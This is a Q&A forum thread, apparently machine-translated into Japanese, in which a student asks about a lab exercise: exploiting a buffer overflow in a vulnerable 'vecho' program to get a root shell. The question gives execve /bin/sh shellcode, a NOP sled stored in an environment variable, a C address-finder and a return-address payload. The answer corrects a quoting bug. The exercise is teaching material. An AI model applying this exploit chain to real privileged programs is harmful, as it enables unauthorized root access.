2016-04-03 11 views
0

私は、バッファオーバーフローを実行してvechoという脆弱なコマンドを使用してroot特権を得る必要があるラボを行っています(echoと同じ機能)。しかし私が何を試しても、私はそれを働かせることはできません。vechoを使用したバッファオーバーフローの悪用

.section .text 
.globl _start 
_start: 
    xor %eax, %eax // your comments go here 
    push %eax  // and here, and so on... 
    push $0x68732f2f 
    push $0x6e69622f 
    mov %esp, %ebx 
    push %eax 
    mov %esp, %ecx 
    push %ebx 
    mov %eax, %edx 
    mov $0xb, %al 
    int $0x80 

私たちは、私たちはその後、そり

SLED=`python -c "print '\x90' * 100"` 

を作る

export EGG=$(<shellcode.bin) 

を行うことによって卵として保存された環境変数にこれをロードし、変数

export EGG=$SLED$EGG 
にそりを追加します

次に、 EGGは、我々はこの

#include<stdio.h> 
    #include<stdlib.h> 
    #include<string.h> 
    int main(int argc, char** argv){ 
     char *ptr; 
     if(argc < 3){ 
      printf("Usage:%s<environmentvar><targetprogramname>\n", 
      argv[0]); 
      exit(0); 
    } 
    ptr = getenv(argv[1]); 
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; 
    printf("%s will be at %p\n", argv[1], ptr); 
} 

を使用してvecho実行したときに私たちは、この

ADDRESS=echo -en "\xff\xff\xff\xbf" 

そして十分な文字でパディング変数のような何かを行うことによって、リトルエンディアン形式でアドレス変数を作成になりますアドレスEIPにアドレスをプッシュし、その後に関係なく、私はパディングが小さすぎると、私はパディングがある場合にワンセグ障害、成功した印刷のいずれかを取得しようとするもの

vecho $PADDING$ADDRESS 

を実行していないだけにあまりにも長く、中央の不正な指示。私はこのような違法指導の場所が重要だと思うが、私はそれを実際にシェルコードを実行することはできません。

答えて

0

あなたはほとんどそれを持っています。あなたがecho -en "\ xff \ xff \ xff \ xbf"をADDRESSに割り当てているように見えるため、命令は不正です。あなたは何をしたいですか:

ADDRESS=`echo -en "\xff\xff\xff\xbf"` 

これは、コマンド全体ではなくADDRESSに結果を割り当てます。

関連する問題